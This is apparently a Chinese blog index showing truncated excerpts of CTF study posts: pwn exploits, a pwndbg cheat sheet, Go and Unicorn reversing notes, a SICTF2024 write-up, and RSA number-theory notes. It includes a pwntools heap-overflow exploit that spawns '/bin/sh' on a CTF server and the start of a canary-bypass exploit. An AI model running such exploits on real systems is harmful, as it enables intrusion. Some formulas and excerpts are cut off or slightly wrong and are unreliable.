PWN入门-堆溢出漏洞
PWN入门-堆溢出漏洞[NISACTF 2022]ezheap实际堆栈分配大小计算式:
1real_size=(allocated_size+0x4+0x7)&~0x7
exp:
12345678910from pwn import *context(log_level='debug',os='linux',arch='i386')p=remote("node5.anna.nssctf.cn",28346)allocated_size=0x16real_size=(allocated_size+0x4+0x7)&~0x7heap_overflow=cyclic(real_size)shellcode=b'/bin/sh\x00'payload1=flat([heap_overflow,shellcode])p.sendline(payload1)p.interactive()
PWN入门-pwndbg基本使用
PWN入门-pwndbg基本使用1234567891011121314151617181920212223file attachment #打开程序attachmentrun #从头开始运行start #运行到入口点 一般为mainb *地址 #某地址下断点b main #某符号下断点n #步过s #单步c #断点后运行i b #查看已有断点i r #查看所有寄存器的值stack 20 #查看20层栈disass main #反汇编符号p *地址 #查看某地址的值p &func #查看某符号函数的地址set *地址=值 #将某地址处改值d b 断点编号 #删除某断点disable b 断点编号 #禁用某断点enable b 断点编号 #启用某断点r<payload.dat #程序标准输入从文件payload.dat输入x/20i $rip #查看从寄存器rip指向的地址开始20条汇编指令x/20g 地址 #查看地址内容 20行 每行8字节search xxx #查找某内容地址distance 地址 地址 #计算俩地址距离
Go语言逆向随想录
Go语言逆向随想录启动主函数名叫main_main,以main_开头的函数即为用户函数,后半函数名即为真实函数名。启动从os_init函数初始化。
标准输入输出输出函数名叫fmt_Fprintln,第一个参数为(__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下:
12v1[0]=(__int64)&PTYPE_string;v1[1]=(__inat64)&off_xxxxxx; //即为输出字符串偏移
输入函数名叫fmt_Fscanln,第一个参数为(__int64)go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下:
12v1[0]=(__int64)&RTYPE__ptr_string;v1[1]=(__int64)p_string;
p_string的定义如下:
1p_string=(string *)runtime_newobjec ...
Unicorn模拟执行
Unicorn模拟执行基操导入与初始化123from unicorn import *from unicorn.x86_const import *uc=Uc(UC_ARCH_X86,UC_MODE_64)
手动初始化内存、分配堆栈空间123address=0x400000 #运行地址stack_addr=0x410000 #堆栈地址data_addr=0x420000 #数据地址
映射内存1uc.mem_map(address,2*1024*1024) #加载的地址和大小
内存读写12uc.mem_read(address,length) #要读取的地址 要读取的长度uc.mem_write(address,Sub_code) #将Sub_code的代码写入运行地址
寄存器读写12uc.reg_write(UC_X86_REG_ESP,stack_addr)uc.reg_read(UC_X86_REG_ESP)
原神启动12uc.emu_start(Startaddr,Endaddr) #模拟开始地址 模拟结束地址uc.emu_stop()
实操[鹤城杯 2021]Pet ...
SICTF2024个人解题报告
SICTF2024个人解题报告[签到]Baby_C++就在flag数组里。
Ez_pyc简单代码阅读,发现是个数独,井号空下,0为要填的,解密得:
2456835127469673891564192578837194925486324875196156342796214853
python转16进制直接运行即可。
(好像后来附件换了,结果附件MD5估计是错的…
ArtBreakerIDA的Graph最大尺寸开成99999,转为图形界面即可。
SweetTofu动调,发现函数sub_55633523BB00,尝试解密。
123enc=[0x00,0x0A,0x07,0x01,0x1D,0x3F,0x09,0x13,0x39,0x07,0x08,0x02,0x39,0x2F,0x39,0x21,0x09,0x02,0x41,0x15,0x39,0x25,0x14,0x03,0x07,0x12,0x0F,0x09,0x08,0x47,0x22,0x09,0x08,0x41,0x12,0x39,0x04,0x03,0x39,0x15,0x03,0x14,0x0F,0x09,0x13,0x15, ...
PWN入门-Canary
PWN入门-Canary[2021 鹤城杯]littleofbuf尺寸为0x50,amd64下canary占用后0x8字节,i386下占用0x4字节。为了保证canary能与buf字符串分割开来,设计为小端序最后一个字节为0x00,sendline后自带发送换行符0x0a,即可填充0x00并取得后面0x7字节canary内容。
每次canary内容不同,每次都要重新获取。
开启canary后,0x50-0x8处为canary,0x50处为padding,0x50+0x8处为原ebp。
绕canary劫持plt泄漏puts的got表地址,找libc后重新绕canary打。
libcsearcher日常找不到库。
1234567891011121314151617181920212223242526272829303132from pwn import *context(log_level='debug',os='linux',arch='amd64')p=remote("node4.anna.nssctf.cn&quo ...
Crypto入门-基础数论复盘
Crypto入门-基础数论复盘高中OI学过数论相关,都还给教练了,现在开始复盘,死去的记忆开始拷打我。
RSA相关欧拉函数$\varphi(n)$表示小于$n$的正整数中与$n$互质的数的数目。基本性质:
如果$n$为质数,则$\varphi(n)=n-1$。
如果$p,q$为质数,则$\varphi(pq)=\varphi(p)\varphi(q)=(p-1)(q-1)$。
同余
若$a,b,c,d\in\mathbb Z,m\in\mathbb N_+,a\equiv b\pmod m,c\equiv d\pmod m$,则有:
$$ \displaylines{ a\pm c\equiv b\pm d\pmod m,\\ac\equiv bd\pmod m } $$
若$a,b\in\mathbb Z,k,m\in\mathbb N_+,a\equiv b\pmod m$,则有:$ak\equiv bk\pmod{mk}$。
中国剩余定理求解一元线性同余方程组:
$$\begin{cases} \displaylines{ ...
Crypto入门-RSA
Crypto入门-RSA基础概念公钥与私钥
随机选择两个不同的大质数$p$和$q$,计算$N=pq$。
求得$\varphi(N)=\varphi(p)\varphi(q)=(p-1)(q-1)$。
选择一个$e(e<\varphi(N),e\bot\varphi(N))$,并求得$e$的逆元$d$:$ed\equiv1\pmod{\varphi(N)}$。
销毁$p,q$的记录,公钥为$(N,e)$,私钥为$(N,d)$。
消息加密:
将消息转化为$m(m<N,m\bot N,m\in\mathbb Z)$,如果消息太长可以分成几段,即块加密。利用以下公式加密:$m^e\equiv c\pmod N$。
消息解密:
利用密钥$d$解密:$c^d\equiv \pmod N$。
共模攻击攻击条件:两个用户使用相同模数$N$、不同私钥加密同一明文消息时。
设两个用户公钥分别为$e_1$和$e_2$,且$e_1\bot e_2$,明文为$m$,密文分别为:
$$\begin{cases} \displaylines{ ...
Web3逆向初探
Web3逆向初探holesky.beconcha.in上查询合约字节码,Remix中下方控制台使用web3.eth.getCode(0x…)查询代码。
或者去openchain.xyz/signature查询。
反编译字节码:app.dedaub.com/decompile,如果再次出现字节码则再次反编译。
可删除下一个6080前的字节码。没识别出来的去signature。
刷题去chainflag.org,学习去www.wtf.academy/solidity-104。
PWN入门-入门泛做题
PWN入门-入门泛做题[LitCTF 2023]只需要nc一下~Dockerfile
[NISACTF 2022]ReorPwn?略。
[HNCTF 2022 Week1]easync略。
[SWPUCTF 2022 新生赛]Does your nc work?略。
[HGAME 2023 week1]test_nc略。
[GDOUCTF 2023]EASY PWN应该是ret2text,但是题出的有问题…
[LitCTF 2023]口算题卡123456789from pwn import *context(log_level='debug')p=remote("node4.anna.nssctf.cn",28864)for i in range(0,100): p.recvuntil("What is ") line_get=p.recvline().strip().strip(b'?').decode() ans=str(eval(line_get)).encode() p.se ...